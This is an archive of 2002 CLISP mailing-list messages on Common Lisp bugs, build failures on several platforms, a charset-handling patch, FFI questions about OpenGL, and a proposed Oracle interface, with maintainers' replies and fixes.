inefficient code was causing a compiler slowdown. I wasn't looking for
superior code. I thought I was highlighting an issue with the clisp
compiler. Turned out I was wrong.

But thank you Bernardi and Don. I managed to get your names right this
time :-)

> Now look closely at your version. Then at mine.  
> Notice the differences.

That's fine. The problem was I suspected those differences were critical
in understanding what was causing the compiler slowdown. But it turned
out my code just kept generating larger lists instead of the same list
each time.

Regards,
Adam



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Thanks to Arseny Slobodjuck, CLISP now speaks Russian!

$ cvs up
$ ./configure --build build-dir
$ cd build-dir
$ ./.clisp -E KOI8-R -q -norc -L russian -x '(/ 0)'

*** - =C4=C5=CC=C5=CE=C9=C5 =CE=C1 =CE=D5=CC=D8
$

please test it and comment on the translations.
it is important that you pre-test this (and other features).
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I think I may have found a CLISP bug involving the 'SETF' functions
generated by
DEFSTRUCT for structure components.

Given the following three definitions, in the given order:
   (defun fng ()
     (let ((tmp (make-foo)))
       (setf (foo-x tmp) 'ok)
       tmp))

   (defstruct foo (x nil))

   (defun fok ()
     (let ((tmp (make-foo)))
       (setf (foo-x tmp) 'ok)
       tmp))

Executing the functions gives the following results:
   (fng) ==> *** - EVAL: the function (SETF FOO-X) is undefined
   (fok) ==> #S(FOO :X OK)


There does not appear to be any problem with the 'make' or 'accessor'
functions.
I'm running Clisp 2.28 on Windows NT 4.0

Thank You,
Mark Hecht




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> * In message <3D07AA90.A06304A7@morganstanley.com>
> * On the subject of "[clisp-list] Possible bug: SETF functions generated by DEFSTRUCT"
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> I think I may have found a CLISP bug involving the 'SETF' functions
> generated by DEFSTRUCT for structure components.

setf accessors are not required to be functions.
CLISP implements them as macros, and, as with all macros,
they have to be defined before they are first used.

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Hi

a new updated releas of MK:DEFSYSTEM has been uploaded to the File
Release area of the CLOCC project

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The new release is tagged 3.3i and contains the latest CVS additions
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Hi there,

   I haven't seen any Fink links in the CLISP site:

http://fink.sourceforge.net/pdb/package.php/clisp

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> * In message <F5E3C3D1-7FBF-11D6-B005-003065B2541A@acm.org>
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>    I haven't seen any Fink links in the CLISP site:
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> http://fink.sourceforge.net/pdb/package.php/clisp

thanks it's in resources now (updated immediately at GNU, nightly at SF)

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Reported via the Debian BTS:

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Package: clisp
Version: 1:2.27-0.5
Severity: wishlist

I wrote in clisp program that defines class with accessor to one of its
slots called type. I tried to run this program under Harlequin Lisp and
Alegro. Both reported an error, Harlequin said that type conflicts with 
function visible from COMMON-LISP.
This seems to me that clisp dont check accessor names with build-in
functions.

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Package: clisp
Version: 1:2.27-0.5
Severity: important

Following sequence produce this effect:
  (jtms-init)
  (setq a (install-node 'a))
  (setq b (install-node 'b))
  (install-just a (list b))

I found that this problem has something to do with push and defstruct.
In harlequin lisp (lispworks) program worked without problems.
When I replaced defstruct with defclass, problem disappeared in clisp
too.

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(defstruct node
  (index 0)
  (datum nil)
  (label 'out)
  (support nil)
  (justifications nil)
  (consequences nil)
)  

(defstruct justification
  (index 0)
  in-list
  out-list
  consequence
)

(defvar *node-counter*)
(defvar *just-counter*)

(defun in-node? (node) (eq (node-label node) 'in))

(defun out-node? (node) (eq (node-label node) 'out))

(defun jtms-init ()
  (setq *node-counter* 0
        *just-counter* 0)
)

(defun install-node (datum)
  (let (node)
    (setq node (make-node :datum datum :index (incf *node-counter*)))
))

(defun install-just (conseq in-supp &optional (out-supp nil))
  (let (just)
    (setq just (make-justification :index (incf *just-counter*)
                                   :in-list in-supp
                                   :out-list out-supp
                                   :consequence conseq))
;  (setf (node-justifications conseq)
;       (append (node-justifications conseq) just))
    (push just (node-justifications conseq))
    just
))




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> * In message <E17JGec-00087a-00.2002-06-15-17-43-58@cmailg6.svr.pol.co.uk>
> * On the subject of "[clisp-list] Bug Report: clisp accepts, as accessor to object, name that conflicts with build-in function"
> * Sent on Sat, 15 Jun 2002 17:46:58 +0100
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> Reported via the Debian BTS:
> 
> Package: clisp
> Version: 1:2.27-0.5
> Severity: wishlist
> 
> I wrote in clisp program that defines class with accessor to one of its
> slots called type. I tried to run this program under Harlequin Lisp and
> Alegro. Both reported an error, Harlequin said that type conflicts with 
> function visible from COMMON-LISP.
> This seems to me that clisp dont check accessor names with build-in
> functions.

this has been fixed in the release 2.28 with introduction of package
locking.


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> * In message <E17JGfR-0008CF-00.2002-06-15-17-44-50@cmailg6.svr.pol.co.uk>
> * On the subject of "[clisp-list] Bug Report: clisp eats whole memory"
> * Sent on Sat, 15 Jun 2002 17:47:50 +0100
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> Reported via Debian BTS:
> 
> Package: clisp
> Version: 1:2.27-0.5
> Severity: important
> 
> Following sequence produce this effect:
>   (jtms-init)
>   (setq a (install-node 'a))
>   (setq b (install-node 'b))
>   (install-just a (list b))

this creates a circular structure which cannot be printed without
*print-circle* being set to T (since ANSI CL mandates the #S readable
format for the structure output).
*print-circle* is NIL initially as per the ANSI CL spec.

(setq *print-circle* t)
and try again - it will work.

> I found that this problem has something to do with push and defstruct.
> In harlequin lisp (lispworks) program worked without problems.  When I
> replaced defstruct with defclass, problem disappeared in clisp too.

CLOS classes are not printed readably (as per the spec), so they can be
printed even without *print-circle* == T.

> -- System Information
> Debian Release: testing/unstable
> Architecture: i386
> Kernel: Linux pisidlo 2.2.20 #1 Sun Feb 24 20:26:35 CET 2002 i686
> Locale: LANG=cs_CZ, LC_CTYPE=cs_CZ
> 
> Versions of packages clisp depends on:
> ii  libc6                    2.2.5-4         GNU C Library: Shared libraries 
> an
> ii  libncurses5              5.2.20020112a-7 Shared libraries for terminal 
> hand
> 
> --T4sUOijqQbZv57TR
> Content-Type: text/plain; charset=us-ascii
> Content-Disposition: attachment; filename="jtms.lsp"
> 
> 
> (defstruct node
>   (index 0)
>   (datum nil)
>   (label 'out)
>   (support nil)
>   (justifications nil)
>   (consequences nil)
> )  
> 
> (defstruct justification
>   (index 0)
>   in-list
>   out-list
>   consequence
> )
> 
> (defvar *node-counter*)
> (defvar *just-counter*)
> 
> (defun in-node? (node) (eq (node-label node) 'in))
> 
> (defun out-node? (node) (eq (node-label node) 'out))
> 
> (defun jtms-init ()
>   (setq *node-counter* 0
>         *just-counter* 0)
> )
> 
> (defun install-node (datum)
>   (let (node)
>     (setq node (make-node :datum datum :index (incf *node-counter*)))
> ))
> 
> (defun install-just (conseq in-supp &optional (out-supp nil))
>   (let (just)
>     (setq just (make-justification :index (incf *just-counter*)
>                                    :in-list in-supp
>                                    :out-list out-supp
>                                    :consequence conseq))
> ;  (setf (node-justifications conseq)
> ;       (append (node-justifications conseq) just))
>     (push just (node-justifications conseq))
>     just
> ))

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Dear List members,

Can anyone please tell me how can I call opengl
routines from clisp? there are loads of packages out
there for allegro and cmucl, but they don't work in
clisp.

I saw Larry Bales has used FFI:DEF-C-CALL-OUT for
glClearIndex, but when I try it, it says it can't find
entry for glClearIndex.
 
I've lost hair and sleep over this, now losing sanity
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lispbibl.d:2404 changed to
#if defined(DECALPHA) && (defined(UNIX_OSF)
defined(UNIX_LINUX) || defined(UNIX_FREEBSD))

CLISP 2.28 now will successfully make/make check using
the system gcc2.95.2 compiler.  I haven't yet
validated dynamic-ffi, but everything else looks good.

FYI:
Code address range = 0x0000000120000000
Malloc address range = 0x0000000120000000
Shared library address range = 0x0000000160000000
Stack address range = 0x0000000011000000

BTW, It cores in the config process using gcc31 and
there's a preprocessor issue with the Compaq C
compiler (ccc).

Very excited about getting this working,

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> * In message <20020617204705.66405.qmail@web14501.mail.yahoo.com>
> * On the subject of "[clisp-list] CLISP 2.28 Working On FreeBSD/Alpha"
> * Sent on Mon, 17 Jun 2002 13:47:05 -0700 (PDT)
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>
> lispbibl.d:2404 changed to
> #if defined(DECALPHA) && (defined(UNIX_OSF)
> defined(UNIX_LINUX) || defined(UNIX_FREEBSD))
> 
> CLISP 2.28 now will successfully make/make check using the system
> gcc2.95.2 compiler.  I haven't yet validated dynamic-ffi, but
> everything else looks good.

great!

> BTW, It cores in the config process using gcc31 and

this is a known bug in gcc31.
add "-fno-gcse" to CFLAGS
(this is actually in the CVS development version)

> there's a preprocessor issue with the Compaq C compiler (ccc).

What is the issue?
CLISP comes with a CPP specifically for this case.
Search src/makemake.in for XCC_UNUSABLE_CPP.

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I was incorrect about the Compaq C issue involving the
preprocessor.  

As Compaq C for Linux (hacked to generate FreeBSD
binaries) is basically the DU compiler, I thought I
was seeing the issue discussed in the release notes. 

All I needed to do was to tweak the alloca definition
in lispbibl.d:1083 (along with the previous fix) to
get things to build.

I am seeing a Seg Fault after config.lisp is loaded
when the make is building the clisp image.  Back to
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> * In message <20020616000907.87213.qmail@web9707.mail.yahoo.com>
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> * Sent on Sat, 15 Jun 2002 17:09:07 -0700 (PDT)
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>
> Can anyone please tell me how can I call opengl routines from clisp?
> there are loads of packages out there for allegro and cmucl, but they
> don't work in clisp.

you will need to create an opengl CLISP module.
this sounds harder than it actually is, so do not despair.
basically, you should look at the modules in the CLISP distribution
(clisp/modules/*), e.g., postgresql or queens or whatever
and "do something similar", namely, create Makefile, link.sh and
opengl.lisp files.  The latter should contain many DEF-CALL-OUT forms,
one for each opengl function, as well as other stuff.

you can use cparse <http://www.bricoworks.com/~moore/cparse/> to
automate some of the opengl.h --> opengl.lisp conversion.
Dan Stanger <dan.stanger@ieee.org> patched cparse to produce CLISP
output, but it does not appear that the patch has been integrated
yet --
-- Dan, could you please nag Tim to get the patch in and mentioned
on his web page that cparse works with CLISP?

I hope other FFI users will be more specific.
More docs can be found here:
<http://clisp.cons.org/impnotes/modules.html>

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I would recomend that you create a module similar to new-clx, rather than using
the ffi interface.  You might try using the awk code for the gdi module that
I am working on.  IMO, its a lot easier to debug a module than the ffi code,
and you have a lot more control.
Dan

Sam Steingold wrote:

> > * In message <20020616000907.87213.qmail@web9707.mail.yahoo.com>
> > * On the subject of "[clisp-list] calling open-gl functions with clisp"
> > * Sent on Sat, 15 Jun 2002 17:09:07 -0700 (PDT)
> > * Honorable Reza Alemi <balto48@yahoo.com> writes:
> >
> > Can anyone please tell me how can I call opengl routines from clisp?
> > there are loads of packages out there for allegro and cmucl, but they
> > don't work in clisp.
>
> you will need to create an opengl CLISP module.
> this sounds harder than it actually is, so do not despair.
> basically, you should look at the modules in the CLISP distribution
> (clisp/modules/*), e.g., postgresql or queens or whatever
> and "do something similar", namely, create Makefile, link.sh and
> opengl.lisp files.  The latter should contain many DEF-CALL-OUT forms,
> one for each opengl function, as well as other stuff.
>
> you can use cparse <http://www.bricoworks.com/~moore/cparse/> to
> automate some of the opengl.h --> opengl.lisp conversion.
> Dan Stanger <dan.stanger@ieee.org> patched cparse to produce CLISP
> output, but it does not appear that the patch has been integrated
> yet --
> -- Dan, could you please nag Tim to get the patch in and mentioned
> on his web page that cparse works with CLISP?
>
> I hope other FFI users will be more specific.
> More docs can be found here:
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> * In message <3D0E7D00.99C18B13@ieee.org>
> * On the subject of "Re: [clisp-list] calling open-gl functions with clisp"
> * Sent on Mon, 17 Jun 2002 18:21:20 -0600
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>
> I would recomend that you create a module similar to new-clx, rather
> than using the ffi interface.  You might try using the awk code for
> the gdi module that I am working on.  IMO, its a lot easier to debug a
> module than the ffi code, and you have a lot more control.  Dan

BTW, would you like your gdi module to be distributed with CLISP?
Also, I forgot what gdi stands for (neither your readme nor google are
of any help here...)

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Hi,

I tried to use the translate-pathname function but had no luck so far:

$ clisp --version
GNU CLISP 2.28 (released 2002-03-03) (built 3227278593) (memory 3227279056)
Features: 
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
 SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER PC386 UNIX)

[1]> (translate-pathname "test.txt" "*.txt" "*.text")

*** - TRANSLATE-PATHNAME: #P"test.txt" is not a specialization of #P"*.txt"

which to my understanding is wrong and rather should give a
#P"test.text" pathname. (I tested this with Allegro CL, Xanalys
LispWorks and CMUCL).

Then, I figured the situation might have changed with clisp cvs; I
checked out cvs clisp last Friday (06/14/2002), build it (which
suceeded after some trouble but more on that I'll send in a seperate
mail later) and I received:

[3]> (translate-pathname "test.txt" "*.txt" "*.text")

*** - internal error: statement in file "pathname.d", line 5162 has
been reached!!  Please send the authors of the program a description
how you produced this error!

Both programs were compiled with gcc 3.0.4, I followed the
recommendations of ./configure (just appending 'debug' to makemake's
command line when compiling the cvs version):

cd with-gcc3
./makemake --with-readline --with-gettext --with-dynamic-ffi > Makefile
make config.lisp
make

and I also ran 'make test' and 'make testsuite' which both suceeded.

Am I missing something? Is this a known problem?

System details:

$ uname -a 
Linux aptiva 2.4.18 #1 Mon May 13 15:24:42 CEST 2002 i686 unknown
Debian Gnu/Linux 3.0 (Woody) glibc 2.2.5

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Hi,

just as promised ;) in my previous mail I'm reporting my problems with
building cvs clisp 06/14/2002 :

I checked out clisp from cvs, did the usual steps:

$ ./configure with-gcc3
$ cd with-gcc3
$ ./makemake --with-readline --with-gettext --with-dynamic-ffi debug > Makefile
$ make config.lisp
$ make

which failed miserably at:

./lisp.run -B . -N locale -E UTF-8 -norc -m 750KW -x "(load \
\"init.lisp\") (sys::%saveinitmem) (exit)"

*** - Program stack overflow. RESET
make: *** [interpreted.mem] Segmentation fault

Here's the backtrace from gdb:

Program received signal SIGSEGV, Segmentation fault.
0x20264c8a in ?? ()
(gdb) bt
#0  0x20264c8a in ?? ()
#1  0x080fc390 in write_errorstring (
    errorstring=0x821c768 "unknown character set ~") at error.d:191
#2  0x080fc981 in fehler (errortype=error, 
    errorstring=0x821c768 "unknown character set ~") at error.d:328
#3  0x08092347 in open_iconv (to_code=0x819c59b "WCHAR_T", 
    from_code=0xbfffb9f0 "ARMSCII-8", charset=0x20277811) at stream.d:3611
#4  0x08092399 in check_charset (code=0xbfffb9f0 "ARMSCII-8", 
    charset=0x20277811) at stream.d:3621
#5  0x08077834 in C_make_encoding () at encoding.d:1707
#6  0x08078cd0 in init_encodings_2 () at encoding.d:2153
#7  0x080540b0 in initmem () at spvw.d:1407
#8  0x08055830 in main (argc=12, argv=0xbffffbf4) at spvw.d:2541


$ iconv --version
iconv (GNU libc) 2.2.5
Copyright (C) 2002 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Ulrich Drepper.

$ 'iconv -l | grep -i armscii-8' 
# gives nothing

So it seems glibc's iconv in fact doesn't support this charset. The
same goes for the tcvn charset.

I just commented out the appropriate lines in src/constsym.d and the
build suceeded. Nonetheless, I guess it shouldn't segfault if the
charset is unknown...

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Debian Gnu/Linux 3.0 (Woody) 
$ uname -a
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$ gcc --version
3.0.4

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> * In message <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de>
> * On the subject of "[clisp-list] stack overflow - unknown charset"
> * Sent on Wed, 19 Jun 2002 18:05:00 +0200
> * Honorable "Claudio Bley" <bley@cs.uni-magdeburg.de> writes:
>
> just as promised ;) in my previous mail I'm reporting my problems with
> building cvs clisp 06/14/2002 :
> 
> I checked out clisp from cvs, did the usual steps:
> 
> $ ./configure with-gcc3
> $ cd with-gcc3
> $ ./makemake --with-readline --with-gettext --with-dynamic-ffi debug > Makefile
> $ make config.lisp
> $ make
> 
> which failed miserably at:
> 
> ./lisp.run -B . -N locale -E UTF-8 -norc -m 750KW -x "(load \
> \"init.lisp\") (sys::%saveinitmem) (exit)"
> 
> *** - Program stack overflow. RESET
> make: *** [interpreted.mem] Segmentation fault
> 
> Here's the backtrace from gdb:
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x20264c8a in ?? ()
> (gdb) bt
> #0  0x20264c8a in ?? ()
> #1  0x080fc390 in write_errorstring (
>     errorstring=0x821c768 "unknown character set ~") at error.d:191
> #2  0x080fc981 in fehler (errortype=error, 
>     errorstring=0x821c768 "unknown character set ~") at error.d:328
> #3  0x08092347 in open_iconv (to_code=0x819c59b "WCHAR_T", 
>     from_code=0xbfffb9f0 "ARMSCII-8", charset=0x20277811) at stream.d:3611
> #4  0x08092399 in check_charset (code=0xbfffb9f0 "ARMSCII-8", 
>     charset=0x20277811) at stream.d:3621
> #5  0x08077834 in C_make_encoding () at encoding.d:1707
> #6  0x08078cd0 in init_encodings_2 () at encoding.d:2153
> #7  0x080540b0 in initmem () at spvw.d:1407
> #8  0x08055830 in main (argc=12, argv=0xbffffbf4) at spvw.d:2541
> 
> 
> $ iconv --version
> iconv (GNU libc) 2.2.5
> Copyright (C) 2002 Free Software Foundation, Inc.
> This is free software; see the source for copying conditions.  There is NO
> warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
> Written by Ulrich Drepper.
> 
> $ 'iconv -l | grep -i armscii-8' 
> # gives nothing
> 
> So it seems glibc's iconv in fact doesn't support this charset. The
> same goes for the tcvn charset.

on my redhat gnu/linux 7.3 with the glibc 2.2.5 both armscii-8 and tcvn
are present.

> I just commented out the appropriate lines in src/constsym.d and the
> build suceeded. Nonetheless, I guess it shouldn't segfault if the
> charset is unknown...

you are right - please try the appended patch and report your
experiences.  (you will also need to copy the definition of
CLISP_INTERNAL_CHARSET from stream.d)

> System details:
> 
> Debian Gnu/Linux 3.0 (Woody) 
> $ uname -a
> Linux aptiva 2.4.18 #1 Mon May 13 15:24:42 CEST 2002 i686 unknown
> $ gcc --version
> 3.0.4

BTW, Bruno, why now, after HAVE_GOOD_ICONV has already been introduced,
we still have GLIBC version checks in encoding.d?

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--- encoding.d.~1.68.~	Wed Jun 12 09:22:58 2002
+++ encoding.d	Wed Jun 19 12:50:50 2002
@@ -2151,10 +2151,21 @@
     var object symbol = iconv_first_sym;
     var uintC count;
     dotimesC(count,iconv_num_encodings, {
+      var bool good_p = true;
+      with_string_0(Symbol_name(symbol),Symbol_value(S(ascii)),charset_ascii,{
+        var iconv_t cd = iconv_open(CLISP_INTERNAL_CHARSET,charset_ascii);
+        good_p = ((cd != -1) && (iconv_close(cd) >= 0)
+                  && ((cd=iconv_open(charset_ascii,CLISP_INTERNAL_CHARSET)) != -1)
+                  && (iconv_close(cd) >= 0));
+      });
+      if (good_p) {
       pushSTACK(Symbol_name(symbol));
       pushSTACK(unbound); pushSTACK(unbound); pushSTACK(unbound);
       C_make_encoding(); # cannot use funcall yet
       define_constant(symbol,value1);
+      } else {
+        pushSTACK(symbol); pushSTACK(O(charset_package)); C_unintern();
+      }
       symbol = objectplus(symbol,(soint)sizeof(*TheSymbol(symbol))<<(oint_addr_shift-addr_shift));
     });
   }



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> > *** - Program stack overflow. RESET
> > make: *** [interpreted.mem] Segmentation fault
> > 
> > Here's the backtrace from gdb:
> > 
> > Program received signal SIGSEGV, Segmentation fault.
> > 0x20264c8a in ?? ()
> > (gdb) bt
> > #0  0x20264c8a in ?? ()
> > #1  0x080fc390 in write_errorstring (
> >     errorstring=0x821c768 "unknown character set ~") at error.d:191
> > #2  0x080fc981 in fehler (errortype=error, 
> >     errorstring=0x821c768 "unknown character set ~") at error.d:328
> > #3  0x08092347 in open_iconv (to_code=0x819c59b "WCHAR_T", 
> >     from_code=0xbfffb9f0 "ARMSCII-8", charset=0x20277811) at stream.d:3611
> > #4  0x08092399 in check_charset (code=0xbfffb9f0 "ARMSCII-8", 
> >     charset=0x20277811) at stream.d:3621

> > $ 'iconv -l | grep -i armscii-8' 
> > # gives nothing
> > 
> > So it seems glibc's iconv in fact doesn't support this charset. The
> > same goes for the tcvn charset.

You're right. I've changed constsym.d now to include these charsets
only with glibc >= 2.3. I was misled because the support for these
charsets was added a few weeks before the release of glibc-2.2.5, but
only on the development branch of glibc.

> on my redhat gnu/linux 7.3 with the glibc 2.2.5 both armscii-8 and tcvn
> are present.

RedHat is well-known for shipping development versions of gcc or glibc
(remember gcc-2.96 or glibc-2.1.96?)

Bruno


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> * In message <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de>
> * On the subject of "[clisp-list] stack overflow - unknown charset"
> * Sent on Wed, 19 Jun 2002 18:05:00 +0200
> * Honorable "Claudio Bley" <bley@cs.uni-magdeburg.de> writes:
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> just as promised ;) in my previous mail I'm reporting my problems with
> building cvs clisp 06/14/2002 :

please update your cvs sandbox and reconfigure.
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> * In message <15632.39316.788559.87986@wh2-19.st.uni-magdeburg.de>
> * On the subject of "[clisp-list] translate-pathname"
> * Sent on Wed, 19 Jun 2002 16:47:48 +0200
> * Honorable "Claudio Bley" <bley@cs.uni-magdeburg.de> writes:
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> I tried to use the translate-pathname function but had no luck so far:
> [1]> (translate-pathname "test.txt" "*.txt" "*.text")
> 
> *** - TRANSLATE-PATHNAME: #P"test.txt" is not a specialization of #P"*.txt"
> 
> which to my understanding is wrong and rather should give a
> #P"test.text" pathname. (I tested this with Allegro CL, Xanalys
> LispWorks and CMUCL).

I just fixed this in the CVS.
please try it.

thanks for your bug report.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> [1]> (translate-pathname "test.txt" "*.txt" "*.text")
    >> 
    >> *** - TRANSLATE-PATHNAME: #P"test.txt" is not a specialization
    >> of #P"*.txt"
    >> 
    >> which to my understanding is wrong and rather should give a
    >> #P"test.text" pathname. (I tested this with Allegro CL, Xanalys
    >> LispWorks and CMUCL).

    Sam> I just fixed this in the CVS.  please try it.

Good news! It works like a charm. Thanks for your time and effort.

Claudio



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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message
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    >> Sent on Wed, 19 Jun 2002 18:05:00 +0200 * Honorable "Claudio
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    >> just as promised ;) in my previous mail I'm reporting my
    >> problems with building cvs clisp 06/14/2002 :

    Sam> please update your cvs sandbox and reconfigure.  thanks.

I just did this and it compiled without any problems (of course :). 

Thanks,
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* Sam Steingold <sds@gnu.org> [2002-06-18 09:54:59 -0400]:

> Also, I forgot what gdi stands for (neither your readme nor google are of
> any help here...)

<URL:http://www.foldoc.org/foldoc/foldoc.cgi?query=GDI>?

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Hi, I'm just getting back into Lisp after a very long hiatus (OK, I
took the Scheme course from Sussman in 1981) and I'm trying to get
Lisp adopted at my organization.  The catch is we have to deal w/ a
lot of data in Oracle and while I've settled on CLISP as the preferred
Lisp, I don't see an Oracle interface for CLISP.

So, I'm considering writing a *native* Oracle interface, similar to
what seems to be there for Postgres now.  I searched the list archives
and it doesn't seem that anyone is working on such a beast.

I've got a lot of experience w/ programming Oracle's "C" client
libraries, and read over the documents on building add-ons to CLISP,
and frankly it doesn't look like too hard a thing for me to do.

I'm very likely going to do it for my own use, but I am interested to
know if anyone else would like to:

	- use this module to get to Oracle databases from CLISP

	- help test it on platforms other than mine (Intel/Linux)

Would you please get back to me if you are so interested?

In return you may have to answer some Lisp questions from me as I work
to scrape the rust off :0

[N.B.: I have seen suggestions for a socket-level interface to an
Oracle server ... this is not too great as to get decent performance
one really has to load the Oracle client libraries directly into the
process running his program.  The Java people found this out the hard
way with their socket-based "thin client" which was S-L-O-W.]

Assuming all this works out, it may be good to start thinking of a
vendor-independent layer that factors out commonalities among, say
Postgres, Oracle, Syabase, etc... much as the perl folks have done
with the "DBI" and "DBD" interfaces.  But CLISP seems a ways away from
that.

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This is not meant to lower CLISP in any way but if your major concern
is a native Oracle interface why don't you use CMUCL with UncommonSQL
<http://ww.telent.net/cliki/UncommonSQL>? This basically is the
vendor independent layer you are looking for.

(CLSQL <http://clsql.med-info.com/> is even more "neutral" because it
is based on UFFI but it currently doesn't support Oracle AFAIK. UFFI
support for CLISP and integration of CLSQL with UncommonSQL is in the
works - see the mailing list archives - but it's not there yet.)

Of course, you could also buy the LispWorks Enterprise Edition
<http://www.xanalys.com/software_tools/products/lwl.html> which comes
with the "original" CommonSQL and full support.

Just my EUR 0.02,
Edi.



"John K. Hinsdale" <hin@alma.com> writes:

> Hi, I'm just getting back into Lisp after a very long hiatus (OK, I
> took the Scheme course from Sussman in 1981) and I'm trying to get
> Lisp adopted at my organization.  The catch is we have to deal w/ a
> lot of data in Oracle and while I've settled on CLISP as the preferred
> Lisp, I don't see an Oracle interface for CLISP.
> 
> So, I'm considering writing a *native* Oracle interface, similar to
> what seems to be there for Postgres now.  I searched the list archives
> and it doesn't seem that anyone is working on such a beast.
> 
> I've got a lot of experience w/ programming Oracle's "C" client
> libraries, and read over the documents on building add-ons to CLISP,
> and frankly it doesn't look like too hard a thing for me to do.
> 
> I'm very likely going to do it for my own use, but I am interested to
> know if anyone else would like to:
> 
> 	- use this module to get to Oracle databases from CLISP
> 
> 	- help test it on platforms other than mine (Intel/Linux)
> 
> Would you please get back to me if you are so interested?
> 
> In return you may have to answer some Lisp questions from me as I work
> to scrape the rust off :0
> 
> [N.B.: I have seen suggestions for a socket-level interface to an
> Oracle server ... this is not too great as to get decent performance
> one really has to load the Oracle client libraries directly into the
> process running his program.  The Java people found this out the hard
> way with their socket-based "thin client" which was S-L-O-W.]
> 
> Assuming all this works out, it may be good to start thinking of a
> vendor-independent layer that factors out commonalities among, say
> Postgres, Oracle, Syabase, etc... much as the perl folks have done
> with the "DBI" and "DBD" interfaces.  But CLISP seems a ways away from
> that.
> 
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 > if your major concern is a native Oracle interface why don't you use
 > CMUCL with UncommonSQL <http://ww.telent.net/cliki/UncommonSQL>? This
 > basically is the vendor independent layer you are looking for.
 > (CLSQL <http://clsql.med-info.com/> is even more "neutral" because it

Right; I looked at this - it is probably where I ultimately want to
be.  I passed it over as I really would like to use CLISP (for
unrelated reasons, incl. it will run on Win32).  So that is why I was
considering the interip solution of making a bare-bones direct layer
to Oracle for CLISP.  I've got a specific project in mind w/ a
deadline.

 > UFFI support for CLISP and integration of CLSQL with UncommonSQL is
 > in the works - see the mailing list archives - but it's not there yet.)

This would be better and ultimately make what I'm proposing obsolete.

 > you could also buy the LispWorks Enterprise Edition

Alas, I'm still in proof-of-concept mode so I doubt I can get my
organization to pay for that.

I'll let the list know how it pans out.  Thanks for your comments.

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> * In message <200206212022.g5LKMhbB010220@van-halen.alma.com>
> * On the subject of "[clisp-list] Any interest in a native Oracle interface for CLISP?"
> * Sent on Fri, 21 Jun 2002 16:22:43 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
> The catch is we have to deal w/ a lot of data in Oracle and while I've
> settled on CLISP as the preferred Lisp, I don't see an Oracle
> interface for CLISP.
> 
> So, I'm considering writing a *native* Oracle interface, similar to
> what seems to be there for Postgres now.

indeed, this is a reasonable way to go.
CLISP's FFI is fairly high level which does not play well with the UFFI
design, but might make _your_ life easier.

Please go ahead and ask questions here!

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I am trying to compile clisp 2.28 on Mac OS X and having little luck.  
Also I have not found any notes about how/who created the 2.27 binary 
distribution, and what kind of wand was used to get it to compile.

One item of note (perhaps I should be sending to the devel list?) the
platforms file should be updated in that I _think_ it is mentioning MAc OS
X Server 1.x, and not 10.x.  It currently has no mention of a version
number at all.

I can of course send more details if needed.  Following the instructions 
ends with:

<snip menorah>

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;; Loading file places.lisp ...make: *** [interpreted.mem] Segmentation 
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> * In message <Pine.LNX.4.44.0206231747090.7041-100000@eris.io.com>
> * On the subject of "[clisp-list] compiling 2.28 on Mac OS X"
> * Sent on Sun, 23 Jun 2002 17:59:02 -0500 (CDT)
> * Honorable "Jeremiah T. Isaacs" <jti@io.com> writes:
>
> I am trying to compile clisp 2.28 on Mac OS X and having little luck.  
> Also I have not found any notes about how/who created the 2.27 binary 
> distribution, and what kind of wand was used to get it to compile.

Josh Flowers <jflowers@codefab.com> built it, as clearly indicated in
 <ftp://ftp.gnu.org/pub/gnu/clisp/release/2.27/README> and
 <ftp://ftp2.cons.org/pub/lisp/clisp/binaries/2.27/README>.

BTW, Josh, could you please build 2.28 too?

> I can of course send more details if needed.  Following the
> instructions ends with:
> 
> <snip menorah>
> 
> ;; Loading file defseq.lisp ...
> ;; Loading of file defseq.lisp is finished.
> ;; Loading file backquote.lisp ...
> ;; Loading of file backquote.lisp is finished.
> ;; Loading file defmacro.lisp ...
> ;; Loading of file defmacro.lisp is finished.
> ;; Loading file macros1.lisp ...
> ;; Loading of file macros1.lisp is finished.
> ;; Loading file macros2.lisp ...
> ;; Loading of file macros2.lisp is finished.
> ;; Loading file defs1.lisp ...
> ;; Loading of file defs1.lisp is finished.
> ;; Loading file places.lisp ...make: *** [interpreted.mem] Segmentation 
> fault

sorry, this does not cut it as a bug report.
<http://clisp.cons.org/clisp.html#bugs>

PS.  Jeremiah, would you like to translate CLISP messages to Esperanto? :-)


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On 24 Jun 2002, Sam Steingold wrote:

> > * In message <Pine.LNX.4.44.0206231747090.7041-100000@eris.io.com>
> > * On the subject of "[clisp-list] compiling 2.28 on Mac OS X"
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> >
> > I am trying to compile clisp 2.28 on Mac OS X and having little luck.  
> > Also I have not found any notes about how/who created the 2.27 binary 
> > distribution, and what kind of wand was used to get it to compile.
> 
> Josh Flowers <jflowers@codefab.com> built it, as clearly indicated in
>  <ftp://ftp.gnu.org/pub/gnu/clisp/release/2.27/README> and
>  <ftp://ftp2.cons.org/pub/lisp/clisp/binaries/2.27/README>.

thanks, didn't look there, just in the actual distribution.

David Carothers sent me the hint that ulimit would help, and it ended up 
being simply that I needed to enter 'unlimit' before starting the 'make'.  
It compiled and passed 'make test'.

> sorry, this does not cut it as a bug report.
> <http://clisp.cons.org/clisp.html#bugs>

i didnt think i had a bug, just trying to get it to work.  Updating the
unix/PLATFORMS file to mention this might save someone else some time
though.  Mac OS X 10.1.5: enter 'unlimit' before building.

> PS.  Jeremiah, would you like to translate CLISP messages to Esperanto? :-)

I was thinking about it actually.  there are always more things I want to 
do than time, but I just may try.  

thanks - jeremiah

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2.27 did something really similar, but here's what 2.28
does first.

     gcc -g -O2 -I. -I../../ffcall/avcall -c ../../ffcall/avcall/minitests.c
     /bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libavcall.la -o minitests
